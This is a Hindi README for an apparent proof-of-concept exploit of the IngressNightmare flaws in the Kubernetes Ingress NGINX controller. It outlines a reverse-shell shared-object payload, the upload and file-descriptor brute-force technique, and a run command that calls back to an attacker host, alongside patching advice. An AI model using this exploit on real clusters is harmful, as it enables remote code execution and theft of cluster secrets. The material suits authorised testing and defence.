
यह IngressNightmare कमजोरियों (CVE-2025-1097, CVE-2025-1098, CVE-2025-24514, और CVE-2025-1974) का शोषण करने के लिए एक PoC कोड है।
यह परियोजना Kubernetes के लिए Ingress NGINX कंट्रोलर में महत्वपूर्ण अप्रमाणित रिमोट कोड निष्पादन (RCE) कमजोरियों को लक्षित करने वाला एक शोषण प्रदान करती है, जिसे सामूहिक रूप से IngressNightmare कहा जाता है। (शोध Wiz द्वारा)
मूल शोध में, Wiz टीम ने कोई PoC या कार्यात्मक शोषण प्रदान नहीं किया, इसलिए हमने अपना खुद का बनाने और समुदाय के साथ साझा करने का निर्णय लिया।
Ingress NGINX कंट्रोलर Kubernetes वातावरण में व्यापक रूप से उपयोग किया जाने वाला एक घटक है, जो क्लस्टर के भीतर सेवाओं तक बाहरी पहुंच का प्रबंधन करता है। इसके प्रवेश नियंत्रक (admission controller) में खोजी गई हालिया कमजोरियां (CVE-2025-1097, CVE-2025-1098, CVE-2025-24514, CVE-2025-1974) नेमस्पेस में सभी गुप्त जानकारियों (secrets) तक अनधिकृत पहुंच की ओर ले जा सकती हैं और संभावित रूप से पूर्ण क्लस्टर पर कब्जा कर सकती हैं।
https://github.com/user-attachments/assets/9e893abf-5c01-4fcb-ad79-7115b429281f
शोषण इन मुख्य चरणों का अनुसरण करता है:
साझा ऑब्जेक्ट उत्पन्न करें (इंजेक्टेड ssl_engine गुण द्वारा उपयोग किया जाता है):
एक .so लाइब्रेरी (evil_engine.so) संकलित करता है जिसमें रिवर्स शेल पेलोड होता है।
साझा ऑब्जेक्ट अपलोड करें:
संकलित साझा ऑब्जेक्ट को ingress pod पर भेजता है, अनुरोध हैंडलिंग (क्लाइंट बॉडी बफ़र्स) का लाभ उठाते हुए। यहाँ चाल यह है कि सर्वर को एक अलग Content-Length भेजा जाता है ताकि कनेक्शन खुला रहे और फ़ाइल के लिए फ़ाइल डिस्क्रिप्टर बना रहे।
fd पर ब्रूट-फोर्स करें: प्रक्रिया आईडी और फ़ाइल डिस्क्रिप्टर (/proc/{pid}/fd/{fd}) पर पुनरावृत्ति करता है ताकि अपलोड किए गए ऑब्जेक्ट को संदर्भित करने वाले सही डिस्क्रिप्टर की पहचान की जा सके।
उपयोग
पूर्वापेक्षाएँ: Python 3.x GCC compiler Python requests module
शोषण चलाएँ:
pip3 install -r requirements.txt
python3 exploit.py <ingress_url> <admission_webhook_url> [attacker_host:port](https://github.com/hakaioffsec/ingressnightmare-poc/blob/HEAD/attacker_host:port)
Ex: python3 xpl.py http://192.168.0.154 https://rke2-ingress-nginx-controller-admission.kube-system 192.168.1.63:443
कभी-कभी admission webhook किसी भिन्न नेमस्पेस में होता है। इस स्थिति में, आपको अंत में नेमस्पेस निर्दिष्ट करने की आवश्यकता होती है, जैसे kube-system, default, या ingress-nginx।
<ingress_url>: लक्ष्य Ingress URL (सार्वजनिक)
<admission_webhook_url>: प्रवेश वेबहुक URL (आंतरिक वेबहुक)
attacker_host:port: रिवर्स शेल के लिए आपका होस्ट और पोर्ट
तुरंत अपडेट करें: Ingress NGINX कंट्रोलर को पैच किए गए संस्करणों (1.12.1 या 1.11.5) में अपग्रेड करें।
प्रवेश वेबहुक को प्रतिबंधित करें: वेबहुक तक पहुंच को केवल Kubernetes API सर्वर तक सीमित करें।
अस्थायी अक्षमीकरण: यदि अपग्रेड तुरंत संभव नहीं है तो प्रवेश नियंत्रक घटक को अस्थायी रूप से अक्षम करने पर विचार करें।
QuimeraX इंटेलिजेंस एक उन्नत EASM और साइबर खतरा खुफिया मंच है जो जटिल प्रणालियों में महत्वपूर्ण कमजोरियों की पहचान करने में विशेषज्ञता रखता है। यह मंच सक्रिय रूप से सुरक्षा खतरों की निगरानी, पता लगाता है और ग्राहकों को सचेत करता है, पारदर्शिता और संभावित जोखिमों के प्रति त्वरित प्रतिक्रिया सुनिश्चित करता है। यदि उनके सिस्टम कमजोर पाए जाते हैं तो ग्राहकों को तत्काल सूचनाएं और व्यापक रिपोर्ट प्राप्त होती हैं, जिससे वे सुरक्षात्मक कार्रवाई कर सकते हैं। और जानें
Hakai Security एक साइबर सुरक्षा कंपनी है जो सुरक्षा पेशेवरों द्वारा स्थापित की गई है और तकनीकी उत्कृष्टता के लिए प्रतिबद्ध है। हम उन्नत पैठ परीक्षण, यथार्थवादी रेड टीम सिमुलेशन और सुरक्षित विकास प्रथाओं सहित अनुकूलित सुरक्षा समाधान प्रदान करते हैं ताकि हमारे ग्राहकों की संपत्तियों को विकसित हो रहे साइबर खतरों से सक्रिय रूप से बचाया जा सके। और जानें
अस्वीकरण
यह शोषण केवल शैक्षिक और अनुसंधान उद्देश्यों के लिए प्रदान किया गया है। स्पष्ट अनुमति के बिना लक्ष्यों के खिलाफ इस उपकरण का अनधिकृत उपयोग। Hakai Security और QuimeraX इस शोषण के उपयोग से होने वाले दुरुपयोग या क्षति के लिए कोई जिम्मेदारी नहीं लेते हैं।